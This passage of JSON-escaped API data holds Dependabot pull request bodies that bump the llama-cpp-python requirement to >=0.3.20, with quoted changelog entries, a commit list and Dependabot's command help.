href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/02d6beed816535cb2ce845ad8558d0c8662f8e7e\"\u003e\u003ccode\u003e02d6bee\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.20 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2171\"\u003e#2171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/08e088cde15e0b56e46337d6f49000518c18c203\"\u003e\u003ccode\u003e08e088c\u003c/code\u003e\u003c/a\u003e fix(misc): replace deprecated llama.cpp references (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/100b275c88763e2fada18d009e9bca8287cdb7c9\"\u003e\u003ccode\u003e100b275\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7257ba95fbbf65201fd5bf4b7f0bdd1c701e1345\"\u003e\u003ccode\u003e7257ba9\u003c/code\u003e\u003c/a\u003e feat(server): add model-load chat_template_kwargs (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7613aca61259820ab550626384af52eed56a731f\"\u003e\u003ccode\u003e7613aca\u003c/code\u003e\u003c/a\u003e ci: publish release wheels as py3-none (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fcd932a1574b7b6fdfc6c2d652f10f3af66995b5\"\u003e\u003ccode\u003efcd932a\u003c/code\u003e\u003c/a\u003e fix(ci): publish distinct manylinux and musllinux cpu wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f54421ba71db942b262a28762bc9e035a5d4d349\"\u003e\u003ccode\u003ef54421b\u003c/code\u003e\u003c/a\u003e Bump version to 0.3.19 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2162\"\u003e#2162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c670222c8379608aa22ac81e5f6a813620187a26\"\u003e\u003ccode\u003ec670222\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f59...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ac59e5a5ae8d331d80f30d3ddfc50195061637f5\"\u003e\u003ccode\u003eac59e5a\u003c/code\u003e\u003c/a\u003e fix: handle embedding models without KV memory (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/5f9c231ce165126f38c8897fd760ecd7ef79f9fd\"\u003e\u003ccode\u003e5f9c231\u003c/code\u003e\u003c/a\u003e fix(ci): reduce CUDA binary wheel size only including cubins for current arch...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.0...v0.3.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/NorthernTribe-Research/maasai-lang/pull/23","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/NorthernTribe-Research%2Fmaasai-lang/issues/23","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/23/packages"}},{"old_version":"\u003e=0.2.0","new_version":"\u003e=0.3.20","update_type":"minor","path":null,"pr_created_at":"2026-04-12T11:33:29.000Z","version_change":"\u003e=0.2.0 → \u003e=0.3.20","issue":{"uuid":"4247810049","node_id":"PR_kwDORWEvYs7Rw9Yf","number":260,"state":"open","title":"Update llama-cpp-python requirement from \u003e=0.2.0 to \u003e=0.3.20","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-12T11:33:29.000Z","updated_at":"2026-04-19T01:01:54.297Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Update","packages":[{"name":"llama-cpp-python","old_version":"\u003e=0.2.0","new_version":"\u003e=0.3.20","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/02d6beed816535cb2ce845ad8558d0c8662f8e7e\"\u003e\u003ccode\u003e02d6bee\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.20 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2171\"\u003e#2171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/08e088cde15e0b56e46337d6f49000518c18c203\"\u003e\u003ccode\u003e08e088c\u003c/code\u003e\u003c/a\u003e fix(misc): replace deprecated llama.cpp references (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/100b275c88763e2fada18d009e9bca8287cdb7c9\"\u003e\u003ccode\u003e100b275\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7257ba95fbbf65201fd5bf4b7f0bdd1c701e1345\"\u003e\u003ccode\u003e7257ba9\u003c/code\u003e\u003c/a\u003e feat(server): add model-load chat_template_kwargs (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7613aca61259820ab550626384af52eed56a731f\"\u003e\u003ccode\u003e7613aca\u003c/code\u003e\u003c/a\u003e ci: publish release wheels as py3-none (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fcd932a1574b7b6fdfc6c2d652f10f3af66995b5\"\u003e\u003ccode\u003efcd932a\u003c/code\u003e\u003c/a\u003e fix(ci): publish distinct manylinux and musllinux cpu wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f54421ba71db942b262a28762bc9e035a5d4d349\"\u003e\u003ccode\u003ef54421b\u003c/code\u003e\u003c/a\u003e Bump version to 0.3.19 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2162\"\u003e#2162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c670222c8379608aa22ac81e5f6a813620187a26\"\u003e\u003ccode\u003ec670222\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f59...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ac59e5a5ae8d331d80f30d3ddfc50195061637f5\"\u003e\u003ccode\u003eac59e5a\u003c/code\u003e\u003c/a\u003e fix: handle embedding models without KV memory (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/5f9c231ce165126f38c8897fd760ecd7ef79f9fd\"\u003e\u003ccode\u003e5f9c231\u003c/code\u003e\u003c/a\u003e fix(ci): reduce CUDA binary wheel size only including cubins for current arch...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.0...v0.3.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it 